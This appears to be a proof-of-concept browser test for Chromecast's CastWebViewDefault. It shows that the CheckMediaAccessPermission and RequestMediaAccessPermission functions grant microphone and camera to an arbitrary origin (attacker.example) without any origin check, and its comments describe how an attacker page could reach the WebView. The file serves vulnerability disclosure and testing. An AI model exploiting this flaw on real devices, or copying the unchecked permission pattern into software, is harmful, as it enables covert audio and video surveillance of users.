// POC: CastWebViewDefault grants mic/camera without origin check.
//
// This test demonstrates that CastWebViewDefault::CheckMediaAccessPermission
// and CastWebViewDefault::RequestMediaAccessPermission approve
// DEVICE_AUDIO_CAPTURE / DEVICE_VIDEO_CAPTURE based solely on the per-WebView
// `allow_media_access` flag, without inspecting `request.security_origin` /
// `request.url_origin` / `render_frame_host`.
//
// In production this WebView is created for a specific Cast app (e.g. Google
// Duo / Meet on a Nest Hub) whose Cast Core server-side config sets
// `cast_core_allow_media_access = true`. Because OpenURLFromTab() loads
// arbitrary renderer-supplied URLs into the same top-level WebContents and no
// browser-side NavigationThrottle pins the origin, an attacker who can cause a
// top-level navigation to https://attacker.example/ (or be embedded as a
// delegated iframe) silently receives the device's microphone and camera with
// no prompt.

#include "base/functional/bind.h"
#include "base/run_loop.h"
#include "chromecast/base/metrics/cast_metrics_helper.h"
#include "chromecast/browser/cast_browser_process.h"
#include "chromecast/browser/cast_web_service.h"
#include "chromecast/browser/cast_web_view.h"
#include "chromecast/browser/mojom/cast_web_service.mojom.h"
#include "chromecast/browser/test/cast_browser_test.h"
#include "content/public/browser/media_stream_request.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/render_process_host.h"
#include "content/public/browser/web_contents.h"
#include "content/public/browser/web_contents_delegate.h"
#include "content/public/test/browser_test.h"
#include "content/public/test/browser_test_utils.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/public/common/mediastream/media_stream_request.h"
#include "third_party/blink/public/mojom/mediastream/media_stream.mojom.h"
#include "url/gurl.h"
#include "url/origin.h"

namespace chromecast {
namespace shell {

class CastMediaPermissionBrowserTest : public CastBrowserTest {
 public:
  CastMediaPermissionBrowserTest() = default;
  ~CastMediaPermissionBrowserTest() override = default;

 protected:
  // Creates a CastWebViewDefault with `allow_media_access = true`, simulating a
  // 1P media-enabled Cast app (Duo / Meet) launched via Cast Core with
  // `cast_core_allow_media_access` set in its server-side ApplicationConfig.
  content::WebContents* CreateMediaEnabledWebView() {
    ::chromecast::mojom::CastWebViewParamsPtr params =
        ::chromecast::mojom::CastWebViewParams::New();
    params->renderer_type = ::chromecast::mojom::RendererType::MOJO_RENDERER;
    params->enabled_for_dev = true;
    params->log_js_console_messages = true;
    // ---- Precondition: this is what Cast Core sets for Duo/Meet etc. ----
    params->allow_media_access = true;

    cast_web_view_ = web_service_->CreateWebViewInternal(std::move(params));
    return cast_web_view_->web_contents();
  }
};

// -----------------------------------------------------------------------------
// Test 1: CheckMediaAccessPermission ignores security_origin.
// -----------------------------------------------------------------------------
IN_PROC_BROWSER_TEST_F(CastMediaPermissionBrowserTest,
                       AttackerOriginGetsMicAndCamera_CheckPermission) {
  content::WebContents* wc = CreateMediaEnabledWebView();
  content::WebContentsDelegate* delegate = wc->GetDelegate();
  ASSERT_TRUE(delegate);

  content::RenderFrameHost* rfh = wc->GetPrimaryMainFrame();

  // The "app" this WebView was created for (e.g. https://duo.google.com).
  const url::Origin app_origin =
      url::Origin::Create(GURL("https://duo.google.com"));
  // An unrelated attacker origin that should NEVER be granted capture devices.
  const url::Origin attacker_origin =
      url::Origin::Create(GURL("https://attacker.example"));

  // -------------------------------------------------------------------------
  // BUG: CheckMediaAccessPermission returns true for *any* origin, because it
  // never inspects `security_origin` — only `params_->allow_media_access`.
  // -------------------------------------------------------------------------
  bool app_mic = delegate->CheckMediaAccessPermission(
      rfh, app_origin, blink::mojom::MediaStreamType::DEVICE_AUDIO_CAPTURE);
  bool attacker_mic = delegate->CheckMediaAccessPermission(
      rfh, attacker_origin,
      blink::mojom::MediaStreamType::DEVICE_AUDIO_CAPTURE);
  bool attacker_cam = delegate->CheckMediaAccessPermission(
      rfh, attacker_origin,
      blink::mojom::MediaStreamType::DEVICE_VIDEO_CAPTURE);

  LOG(ERROR) << "*** POC *** CheckMediaAccessPermission(app=duo.google.com, "
                "AUDIO) = "
             << app_mic;
  LOG(ERROR) << "*** POC *** CheckMediaAccessPermission("
                "origin=https://attacker.example, AUDIO) = "
             << attacker_mic;
  LOG(ERROR) << "*** POC *** CheckMediaAccessPermission("
                "origin=https://attacker.example, VIDEO) = "
             << attacker_cam;

  // These EXPECT_TRUEs *pass*, which is the vulnerability: the attacker origin
  // is granted mic + camera. A correct implementation would compare
  // `security_origin` against the app's allow-listed origins (app_web_url +
  // additional_feature_permission_origins, as CastPermissionManager does) and
  // these would be false.
  EXPECT_TRUE(attacker_mic)
      << "Expected vulnerable code to grant mic to attacker.example";
  EXPECT_TRUE(attacker_cam)
      << "Expected vulnerable code to grant camera to attacker.example";
}

// -----------------------------------------------------------------------------
// Test 2: RequestMediaAccessPermission returns OK for an attacker origin.
// This is the actual getUserMedia grant path
// (MediaStreamManager -> MediaStreamUIProxy -> WebContentsImpl ->
//  WebContentsDelegate::RequestMediaAccessPermission).
// -----------------------------------------------------------------------------
IN_PROC_BROWSER_TEST_F(CastMediaPermissionBrowserTest,
                       AttackerOriginGetsMicAndCamera_RequestPermission) {
  content::WebContents* wc = CreateMediaEnabledWebView();
  content::WebContentsDelegate* delegate = wc->GetDelegate();
  ASSERT_TRUE(delegate);

  content::RenderFrameHost* rfh = wc->GetPrimaryMainFrame();

  // Craft the MediaStreamRequest exactly as MediaStreamUIProxy would for a
  // navigator.mediaDevices.getUserMedia({audio:true, video:true}) call from
  // https://attacker.example/ after it reached the top frame of this
  // media-enabled WebContents (e.g. via window.open() -> OpenURLFromTab(),
  // which loads the attacker URL into this same WebContents — see
  // cast_web_view_default.cc — with no browser-side origin throttle).
  const url::Origin attacker_origin =
      url::Origin::Create(GURL("https://attacker.example"));
  content::MediaStreamRequest request(
      rfh->GetProcess()->GetDeprecatedID(),
      rfh->GetRoutingID(),
      /*page_request_id=*/0, attacker_origin,
      /*user_gesture=*/false, blink::MEDIA_DEVICE_ACCESS,
      /*requested_audio_device_ids=*/{},
      /*requested_video_device_ids=*/{},
      blink::mojom::MediaStreamType::DEVICE_AUDIO_CAPTURE,
      blink::mojom::MediaStreamType::DEVICE_VIDEO_CAPTURE,
      /*disable_local_echo=*/false,
      /*request_pan_tilt_zoom_permission=*/false,
      /*captured_surface_control_active=*/false);

  blink::mojom::MediaStreamRequestResult result =
      blink::mojom::MediaStreamRequestResult::PERMISSION_DENIED;
  bool callback_ran = false;

  delegate->RequestMediaAccessPermission(
      wc, request,
      base::BindOnce(
          [](blink::mojom::MediaStreamRequestResult* out_result, bool* ran,
             const blink::mojom::StreamDevicesSet& devices,
             blink::mojom::MediaStreamRequestResult result,
             std::unique_ptr<content::MediaStreamUI> ui) {
            *out_result = result;
            *ran = true;
            LOG(ERROR) << "*** POC *** RequestMediaAccessPermission callback: "
                          "result="
                       << static_cast<int>(result) << " (0==OK), "
                       << devices.stream_devices.size()
                       << " stream-device set(s) returned for "
                          "https://attacker.example";
          },
          &result, &callback_ran));

  base::RunLoop().RunUntilIdle();
  ASSERT_TRUE(callback_ran);

  // -------------------------------------------------------------------------
  // BUG: RequestMediaAccessPermission returns OK regardless of
  // request.security_origin / request.url_origin. The attacker origin is
  // granted the device's default mic + camera with no prompt and no origin
  // validation.
  // -------------------------------------------------------------------------
  EXPECT_EQ(blink::mojom::MediaStreamRequestResult::OK, result)
      << "Expected vulnerable code to return OK for attacker.example";
  LOG(ERROR) << "*** POC *** https://attacker.example was granted "
                "MediaStreamRequestResult::OK with no origin check.";
}

}  // namespace shell
}  // namespace chromecast
